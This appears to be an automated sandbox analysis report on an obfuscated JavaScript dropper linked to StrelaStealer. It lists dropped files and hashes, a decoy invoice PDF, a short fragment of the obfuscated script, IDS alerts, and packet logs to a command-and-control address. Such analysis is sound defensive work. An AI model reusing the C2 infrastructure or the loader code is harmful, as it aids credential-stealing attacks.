File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b64f3956-432d-4f03-9de9-7a2d1d79be81.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ec5853a5-9623-4660-83f4-56d347138eed.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18109), with CRLF line terminators
Entropy (8bit):	4.919986027949494
TrID:
File name:	19165129872063820912.js
File size:	21'714 bytes
MD5:	9a36857b3db34f156e315515047dab6e
SHA1:	7ea6f0d3df18df88193907be3980cf062cb1b248
SHA256:	17fceffa58ec92b1d4a65fcd0ea1ac22c046cf4a4f2b0c08407f61c4b153e7d0
SHA512:	b75716b130fac0cacc07f89412b9dc28ef9ccae68796f56de3da359d7341f554d7e587deba49f0eb327b6cfaf490787fc6527f85f81234555a2d1a50a79561f6
SSDEEP:	384:BJnuVBJ6l10oI/T//Jm5b2yi1ZtRQm2J5jf1HDT0yym2BTTrFZb:BJnun8l10oI/T/6y1Z3Qm2ftTRym2BTX
TLSH:	7BA223EE9D0D0B774CC1447AD097808B2FB4E38DD61C0189586636BF6B9DA72B4D3A78
File Content Preview:	function hdcbppeh(){awllztorg=[1031,3079,5127,4103,2055,3072];var nqapcu=this[csjfqbhb+arnbv+rfilz+qkrvce+nojbdrid+okptgplf+iumrsae+oftrzta](this[ohxhrn+lyjrz+badsntwj+rfilz+oprfvpfut+csjfqbhb+oftrzta][nedomrw+rfilz+nojbdrid+arnbv+oftrzta+nojbdrid+twlxacf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:20:10.810213+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49731	193.143.1.205	80	TCP
2025-01-11T09:20:10.810213+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49731	193.143.1.205	80	TCP
2025-01-11T09:20:12.967164+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49732	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:20:09.992074013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:09.997118950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:09.997246981 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.000727892 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.006041050 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.809978008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810009956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810024023 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810096025 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810106993 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810172081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810184956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810213089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.810266018 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.810332060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810343027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810357094 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.810379982 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.810396910 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.815119028 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.815143108 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.815207005 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.868577957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.868592978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.868716002 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.935380936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935415030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935430050 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935436010 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935441971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935630083 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.935719967 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935731888 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935743093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.935766935 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.935795069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.935812950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936302900 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936323881 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936335087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936347961 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.936383963 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.936453104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936464071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.936492920 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.937222958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.937278986 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.937289000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.937311888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.937393904 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.937407017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.937443972 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.938180923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.938193083 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.938203096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.938215017 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:10.938225031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:10.938258886 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.001209974 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.044878006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.044891119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.044965982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.044975996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.045000076 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.045053005 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.060971022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.060985088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061048985 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.061064959 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061113119 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061125040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061155081 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.061187983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061222076 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.061341047 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061405897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061417103 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061444998 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.061505079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061517954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061541080 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.061939001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061950922 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061960936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.061981916 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.062035084 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.062048912 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062062979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062073946 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062088966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062102079 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.062127113 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.062196970 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062856913 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062868118 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062877893 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.062899113 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.062917948 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.063016891 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063028097 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063039064 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063050985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063057899 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.063092947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.063216925 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063797951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063843966 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.063857079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063868046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.063895941 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.063966036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064033985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064044952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064054966 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064065933 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064075947 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.064101934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.064805031 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064816952 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064826965 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064845085 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.064870119 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.064958096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064969063 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064980030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064991951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.064999104 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.065033913 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.094609022 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.094620943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.094685078 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.131712914 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.131726027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.131768942 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.169836998 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.169861078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.169872046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.169900894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.170011997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.170025110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.170051098 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.186949968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187002897 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187010050 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187105894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187118053 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187117100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.187135935 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187175989 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.187213898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187228918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187269926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.187294006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187305927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187325001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187376976 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.187391996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187565088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187596083 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.187618971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187637091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187740088 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187751055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187757015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.187760115 CET	49731	80	192.168.2.4	193.143.1.205
